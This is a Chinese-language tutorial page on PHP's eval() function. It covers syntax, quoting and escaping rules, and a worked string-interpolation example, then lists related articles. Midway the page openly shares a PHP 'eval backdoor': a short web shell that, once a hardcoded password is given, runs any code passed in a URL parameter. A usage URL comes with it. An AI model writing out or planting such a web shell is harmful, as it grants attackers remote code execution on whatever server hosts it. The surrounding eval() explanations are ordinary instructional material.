PHP eval函數(shù)使用介紹
代碼:
eval("echo'hello world';");
上邊代碼等同于下邊的代碼:
echo"hello world";
在瀏覽器中都輸出:hello world
運(yùn)用eval()要注意幾點(diǎn):
1.eval函數(shù)的參數(shù)的字符串末尾一定要有分號(hào),在最后還要另加一個(gè)分號(hào)(這個(gè)分號(hào)是php限制)
2.注意單引號(hào),雙引號(hào)和反斜杠的運(yùn)用。如果參數(shù)中帶有變量時(shí),并且變量有賦值操作的話,變量前的$符號(hào)錢一定要有\(zhòng)來轉(zhuǎn)義。如果沒有賦值操作可以不需要。
代碼:
$a=100;
eval("echo$a;");
因?yàn)闆]有賦值操作,所以可以不用\來轉(zhuǎn)義$.等同于以下代碼:
$a=100;
eval("echo\$a;")
3.注意在命令式字符串(包括分號(hào))兩邊必須要有雙引號(hào)或者根據(jù)需要用單引號(hào)。否則報(bào)錯(cuò)。
命令式字符串是指:字符串中包括echo、print之類的命令的時(shí)候。
如果參數(shù)只有一個(gè)變量則可以不用。例如:
$func =<<<FUNC
function test(){
echo "test eval function";
}
FUNC;
eval($func);
test();
分享個(gè)php eval后門程序
要求必須支持eval函數(shù)
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
PHP eval() 函數(shù)介紹
定義和用法
eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。
該字符串必須是合法的 PHP 代碼,且必須以分號(hào)結(jié)尾。
如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯(cuò)誤,則 eval() 函數(shù)返回 false。
語法
eval(phpcode)
| 參數(shù) | 描述 |
|---|---|
| phpcode | 必需。規(guī)定要計(jì)算的 PHP 代碼。 |
提示和注釋
注釋:返回語句會(huì)立即終止對(duì)字符串的計(jì)算。
注釋:該函數(shù)對(duì)于在數(shù)據(jù)庫文本字段中供日后計(jì)算而進(jìn)行的代碼存儲(chǔ)很有用。
例子
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
echo $str. "<br />";
eval("\$str = \"$str\";");
echo $str;
?>
輸出:
This is a $string $time morning!
This is a beautiful winter morning!
- php中通過eval實(shí)現(xiàn)字符串格式的計(jì)算公式
- 淺談PHP eval()函數(shù)定義和用法
- php eval函數(shù)一句話木馬代碼
- PHP函數(shù)eval()介紹和使用示例
- php中eval函數(shù)的危害與正確禁用方法
- php eval函數(shù)用法 PHP中eval()函數(shù)小技巧
- php eval函數(shù)用法總結(jié)
- php異常:Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE eval()''d code error
- php5.x禁用eval的操作方法
相關(guān)文章
PHP中new static()與new self()的區(qū)別異同分析
這篇文章主要介紹了PHP中new static()與new self()的區(qū)別異同分析,是很實(shí)用的技巧,需要的朋友可以參考下2014-08-08
php Undefined index和Undefined variable的解決方法
這段時(shí)間在做項(xiàng)目過程中老是出現(xiàn)這個(gè)提示,起初是用$act來接受表單post過來的數(shù)據(jù)2008-03-03
PHP開發(fā)中AJAX技術(shù)的簡單應(yīng)用
這篇文章主要介紹了PHP開發(fā)中AJAX技術(shù)的簡單應(yīng)用,簡單對(duì)ajax的執(zhí)行原理、實(shí)際應(yīng)用作介紹,感興趣的小伙伴們可以參考一下2015-12-12

